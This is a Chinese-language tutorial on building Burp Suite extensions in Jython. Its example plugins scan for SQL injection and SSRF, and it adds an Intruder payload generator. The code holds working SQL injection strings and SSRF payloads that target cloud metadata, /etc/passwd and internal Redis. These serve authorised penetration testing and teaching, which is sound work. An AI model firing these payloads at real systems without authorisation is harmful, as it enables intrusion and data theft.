适合人群:渗透测试工程师、Web安全研究员、希望自动化安全测试的开发者
前置知识:Python基础语法、HTTP协议基础、Burp Suite基本操作
一、前置准备
环境要求
| 组件 | 版本建议 | 说明 |
|---|---|---|
| Burp Suite | Professional 2026.x / Community | 社区版功能完整,够用 |
| Jython Standalone | 2.7.3+ | Python解释器Java实现 |
| JDK | 17+ | Burp 2026 最低要求 |
| IDE | VS Code / IntelliJ | 代码编辑 |
下载与安装
Step 1: 下载 Jython Standalone Jar
wget https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.3/jython-standalone-2.7.3.jar -O /opt/jython-standalone.jar
Step 2: 在 Burp Suite 中配置 Jython
- 打开 Burp Suite → Extender → Options
- 在 "Python Environment" 中,选择 Jython 的 jar 路径
- 点击 "Select file..." → 选择
/opt/jython-standalone.jar
Step 3: 验证配置
Extender 页面底部应显示:
Python environment: Jython 2.7.3 (loaded successfully)
二、核心原理
Burp Extender API 架构
Burp 提供了完整的 Java API,而 Jython 充当桥接层——让 Python 代码可以通过 Jython 解释器调用 Burp 的原生 Java 接口。
核心接口(必须实现):
IBurpExtender → 所有插件的入口
IScannerCheck → 主动/被动扫描
IIntruderPayloadGeneratorFactory → Intruder Payload 生成
IHttpListener → HTTP 请求/响应拦截
IContextMenuFactory → 右键菜单扩展
ITab → 自定义 UI Tab
插件生命周期
加载插件 → registerExtenderCallbacks() 初始化
→ 注册各类监听器(Scanner/Http/Intruder...)
→ 每次请求/扫描触发对应的回调方法
→ 卸载时自动释放资源
三、实操步骤:写一个自动检测SQL注入的Burp插件
Step 1: 创建插件骨架
创建文件 burp_sql_scanner.py:
from burp import IBurpExtender, IScannerCheck
from java.io import PrintWriter
from java.net import URL
import re
class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
# 设置插件名称
callbacks.setExtensionName("SQL注入扫描器 - Python版")
# 获取输出流
self.stdout = PrintWriter(callbacks.getStdout(), True)
self.stderr = PrintWriter(callbacks.getStderr(), True)
# 注册为扫描器
callbacks.registerScannerCheck(self)
self.stdout.println("[+] SQL注入扫描器已加载")
self.stdout.println("[+] 作者: Hermes Agent")
def doPassiveScan(self, baseRequestResponse):
"""被动扫描:在浏览器/Repeater等流量通过时自动检测"""
issues = []
response = baseRequestResponse.getResponse()
if response is None:
return None
response_str = self._helpers.bytesToString(response)
# 检测 SQL 错误信息泄露
sql_errors = [
(r"SQL syntax.*MySQL", "MySQL"),
(r"Warning.*mysql_.*", "MySQL"),
(r"Unclosed quotation mark", "MSSQL"),
(r"OLE DB.*SQL Server", "MSSQL"),
(r"Microsoft.*SQL", "MSSQL"),
(r"ORA-[0-9]{5}", "Oracle"),
(r"Oracle.*Driver", "Oracle"),
(r"PostgreSQL.*ERROR", "PostgreSQL"),
(r"PSQLException", "PostgreSQL"),
(r"SQLite/JDBCDriver", "SQLite"),
(r"SQLite\.Exception", "SQLite"),
]
for pattern, db_type in sql_errors:
if re.search(pattern, response_str, re.IGNORECASE):
self.stdout.println("[!] 发现 {} 错误信息泄露".format(db_type))
# 创建安全漏洞报告
issue = self._create_issue(
baseRequestResponse,
"SQL错误信息泄露 - {}".format(db_type),
"响应中包含 {} 数据库错误信息,可能导致数据库类型和结构信息泄露".format(db_type),
"High",
"Firm"
)
issues.append(issue)
return issues if issues else None
def doActiveScan(self, baseRequestResponse, insertionPoint):
"""主动扫描:对每个参数插入测试Payload"""
issues = []
# SQL注入测试Payload
test_payloads = [
"'",
"''",
"1' OR '1'='1",
"1' AND '1'='2",
"1 UNION SELECT NULL--",
"' OR SLEEP(5)--",
"1' WAITFOR DELAY '0:0:5'--",
"1 AND 1=1",
"1 AND 1=2",
]
for payload in test_payloads:
checkRequest = insertionPoint.buildRequest(payload)
checkResponse = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest
)
response_str = self._helpers.bytesToString(checkResponse.getResponse())
# 检测差异(布尔盲注)
original_len = len(baseRequestResponse.getResponse())
current_len = len(checkResponse.getResponse())
diff_ratio = abs(current_len - original_len) / float(max(original_len, 1))
if diff_ratio > 0.2:
self.stdout.println("[?] 响应长度显著变化 (payload: {})".format(payload))
return issues if issues else None
def consolidateDuplicateIssues(self, existingIssue, newIssue):
"""去重:相同类型的漏洞只报告一次"""
if existingIssue.getIssueName() == newIssue.getIssueName():
return -1
return 0
def _create_issue(self, baseRequestResponse, name, detail, severity, confidence):
"""创建漏洞报告对象"""
return self._callbacks.createScanIssue(
baseRequestResponse.getHttpService(),
baseRequestResponse.getUrl(),
[baseRequestResponse],
name,
detail,
severity,
confidence
)
Step 2: 加载插件到 Burp
Extender → Extensions → Add
Extension Type: Python
Extension File: 选择 burp_sql_scanner.py
加载成功后,Extender 页面应显示:
Extension 'SQL注入扫描器 - Python版' loaded successfully
Step 3: 测试插件
- 访问一个带 SQL 注入漏洞的测试站点(如目标DVWA)
- 观察 Extender 输出窗口:
[+] SQL注入扫描器已加载
[!] 发现 MySQL 错误信息泄露
[?] 响应长度显著变化 (payload: 1' OR '1'='1)
- 在 Target → Issue Activity 中查看扫描结果
Step 4: 进阶功能——右键菜单 + Payload 生成器
from burp import IContextMenuFactory, IIntruderPayloadGeneratorFactory
from javax.swing import JMenuItem
from java.awt import Toolkit
from java.awt.datatransfer import StringSelection
class BurpExtender(IBurpExtender, IContextMenuFactory, IIntruderPayloadGeneratorFactory):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
callbacks.setExtensionName("Burp扩展 - 多功能版")
# 注册右键菜单
callbacks.registerContextMenuFactory(self)
# 注册Intruder Payload生成器
callbacks.registerIntruderPayloadGeneratorFactory(self)
def createMenuItems(self, invocation):
"""右键菜单项"""
menu = []
item1 = JMenuItem("Base64编码选中文本")
item1.addActionListener(lambda x: self._base64_encode(invocation))
menu.append(item1)
item2 = JMenuItem("URL解码选中文本")
item2.addActionListener(lambda x: self._url_decode(invocation))
menu.append(item2)
return menu
def _base64_encode(self, invocation):
messages = invocation.getSelectedMessages()
if messages and messages[0].getRequest():
# 简化版 - 实际使用需获取具体选中文本
self.stdout.println("[*] Base64编码功能就绪")
def _url_decode(self, invocation):
self.stdout.println("[*] URL解码功能就绪")
def getGeneratorName(self):
return "SQL注入Payload"
def createNewInstance(self, attack):
return self.SQLPayloadGenerator()
class SQLPayloadGenerator:
def __init__(self):
self.payloads = [
"' OR '1'='1",
"1' AND SLEEP(5)--",
"1 UNION SELECT @@version--",
"' UNION SELECT NULL,NULL--",
"1' ORDER BY 1--",
"1' ORDER BY 2--",
"1' ORDER BY 3--",
]
self.index = 0
def hasMorePayloads(self):
return self.index < len(self.payloads)
def getNextPayload(self, baseValue):
payload = self.payloads[self.index]
self.index += 1
return payload
四、插件部署技巧
多插件管理
| 方式 | 说明 | 适用场景 |
|---|---|---|
| 单文件 | 所有代码在1个.py文件 | 小型工具型插件 |
| 模块包 | 拆分为多个.py + __init__.py | 大型插件 |
| Jython + Java | Python调用Java库 | 需要高性能计算 |
自动加载
Burp → Extender → Options
→ Auto-load extensions: 勾选
→ 添加插件路径
这样每次启动Burp自动加载插件
五、实战案例:自动化检测SSRF漏洞
class BurpExtender(IBurpExtender, IScannerCheck):
SSRF_PAYLOADS = [
"http://127.0.0.1:80",
"http://127.0.0.1:8080",
"http://127.0.0.1:3306",
"http://127.0.0.1:6379",
"http://127.0.0.1:27017",
"http://169.254.169.254/latest/meta-data/", # AWS metadata
"file:///etc/passwd",
"gopher://127.0.0.1:6379/_INFO",
]
def doActiveScan(self, baseRequestResponse, insertionPoint):
"""主动扫描SSRF漏洞"""
issues = []
for payload in self.SSRF_PAYLOADS:
checkRequest = insertionPoint.buildRequest(payload)
checkResponse = self._callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest
)
response_str = self._helpers.bytesToString(checkResponse.getResponse())
# 检测SSRF标志
ssrf_indicators = [
"root:x:", # /etc/passwd 内容
"meta-data", # AWS metadata
"+OK", # Redis
"MySQL", # MySQL banner
"SSH-2.0", # SSH banner
]
for indicator in ssrf_indicators:
if indicator in response_str:
self.stdout.println("[!] 检测到SSRF: {} -> {}".format(
payload[:30], indicator
))
return issues if issues else None
六、防御建议
| 风险 | 防御措施 |
|---|---|
| 插件盗取数据 | 只加载审计过的开源插件,从官方 BApp Store 下载 |
| 插件导致Burp崩溃 | 开发时用 try/except 包裹所有回调;避免无限循环 |
| 敏感信息泄露 | 插件输出到 stdout/stderr,注意勿在团队分享中暴露客户数据 |
| 性能问题 | 不要在每个请求中都做重计算;用缓存机制降低开销 |
七、常见陷阱
| # | 陷阱 | 解决方法 |
|---|---|---|
| 1 | Jython版本不对 | 必须用 Jython 2.7,不支持 Python 3 语法 |
| 2 | print 无效 | 使用 self.stdout.println() 输出到 Burp 控制台 |
| 3 | 中文乱码 | 字符串使用 u"中文" 前缀,或 str.encode('utf-8') |
| 4 | 回调阻塞 | 耗时代码放到 Thread 中执行,避免阻塞 Burp UI |
| 5 | 内存泄漏 | 每次回调结束后清理大对象,list = None |
| 6 | API版本兼容 | Burp 2020+ API 有变化,检查 IBurpExtenderCallbacks 方法名 |
| 7 | Java类型转换 | Jython 中 [] 会被当作 Java ArrayList,但有时需显式 java.util.ArrayList() |
八、总结(含速查表)
核心API速查表
| 接口 | 用途 | 关键方法 |
|---|---|---|
IBurpExtender | 入口 | registerExtenderCallbacks() |
IScannerCheck | 扫描 | doPassiveScan(), doActiveScan() |
IHttpListener | 流量拦截 | processHttpMessage() |
IContextMenuFactory | 右键菜单 | createMenuItems() |
IIntruderPayloadGeneratorFactory | Payload生成 | createNewInstance() |
ITab | 自定义UI | getUiComponent(), getTabCaption() |
ISessionHandlingAction | Session处理 | performAction() |
一句话总结
Burp插件开发 = 实现1个入口接口 + N个功能接口,Jython让你用Python写Java API——从此Burp扩展不再是Java专属。
学习资源
- Burp Extender API Docs
- BApp Store — 参考已有插件的源码
- Jython 文档
Bonus:快速模板(复制即用)
from burp import IBurpExtender
from java.io import PrintWriter
class BurpExtender(IBurpExtender):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
self.stdout = PrintWriter(callbacks.getStdout(), True)
callbacks.setExtensionName("我的第一个Burp插件")
self.stdout.println("[+] 插件加载成功!")
# 在这里注册你需要的监听器
复制这段代码 -> 保存为
my_plugin.py-> 加载到 Burp -> 你就完成了第一个Burp插件开发!🚀